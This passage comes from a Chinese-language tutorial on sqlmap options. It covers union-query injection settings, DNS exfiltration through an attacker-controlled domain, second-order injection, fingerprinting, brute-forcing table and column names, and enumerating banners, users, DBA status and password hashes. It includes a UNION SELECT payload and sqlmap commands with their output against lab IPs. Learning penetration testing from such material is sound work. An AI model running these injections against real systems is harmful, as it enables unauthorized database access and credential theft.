[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb
仔细观察上示两例的输出就能明白“联合查询注入中使用的字符”就是“UNION ALL SELECT XXX, XXX”中的“XXX”。
5.联合查询注入中表名设置
参数:–union-from
有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。
(也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。)
用此参数指定这个表名,如:“–union-from=users”。
6.DNS泄露攻击
参数:–dns-domain
SQL注入中的DNS泄露攻击详情见论文《Data Retrieval over DNS in SQL Injection Attacks》。
假设攻击者控制着某域名(例如:attacker.com)的域名解析服务器,即查询该域名的子域名对应的IP地址都会到这台域名解析服务器来查询。
这时攻击者就可以使用“–dns-domain attacker.com”来进行DNS泄露攻击。
实际上若是攻击者没有控制任何一台域名解析服务器,那么她可以注册一个新域名,再自己搭建一台域名解析服务器用于接受数据。
7.二阶注入攻击
参数:–second-order
有时注入结果显示在别的页面,此时需要用此参数指明显示注入结果的页面,该参数后跟一个URL。
十、指纹
默认地Sqlmap会自动对注入目标进行数据库管理系统指纹识别。
参数:-f或–fingerprint
若想执行更广泛的数据库管理系统指纹识别可以添加此参数。
参数:-b或–banner
若想得到更精确的指纹识别结果可以添加此参数,详情见后文。
十一、暴力破解
1.暴力破解表名
参数:–common-tables
有些情况下用“–tables”不能列出数据库中表名来,如:
版本小于5.0的MySQL没有information_schema表
微软Access的MSysObjects表默认不可读
数据库用户权限过低无法读取表名
当无法读出表名时可以使用参数“–common-tables”暴力破解表名,
该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。
2.暴力破解列名
参数:–common-columns
有些情况下用“–columns”不能列出数据表中列名来,如:
版本小于5.0的MySQL没有information_schema表
微软Access的MSysObjects表默认不可读
数据库用户权限过低无法读取列名
当无法读出列名时可以使用参数“–common-columns”暴力破解列名,
该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件。
十二、列举数据
这些参数用于列举出数据库管理系统信息、数据结构和数据内容。
1.一键列举全部数据
参数:–all
使用这一个参数就能列举所有可访问的数据。但不推荐使用,因为这会发送大量请求,把有用和无用的信息都列举出来。
2.列举数据库管理系统信息
参数:-b或–banner
大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。
通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“–banner”来列举数据库管理系统的这一信息。
下例中的数据库是Oracle:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner
部分输出为:
[09:54:30] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
下例中的数据库是Mysql:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner
部分输出为:
[09:56:32] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner: '5.5.50-0ubuntu0.14.04.1'
3.列举当前用户
参数:–current-user
使用这一参数有可能将执行SQL语句的用户列举出来。
4.列举当前数据库
参数:–current-db
使用这一参数有可能将WEB应用连接的数据库名列举出来。
5.列举服务器主机名
参数:–hostname
使用这一参数有可能将数据库管理系统所在计算机的主机名列举出来,如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --
hostname
部分输出如下:
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
6.检测当前用户是否是管理员
参数:–is-dba
使用这一参数有可能能够检测当前用户是否是管理员,若是管理员则返回True,否则返回False。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba
部分输出为:
[10:05:16] [INFO] testing if current user is DBA
[10:05:16] [INFO] fetching current user
[10:05:16] [WARNING] reflective value(s) found and filtering out
current user is DBA: True
7.列举数据库管理系统中的用户
参数:–users
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中的用户。
8.列举并破解数据库管理系统用户密码Hash值
参数:–passwords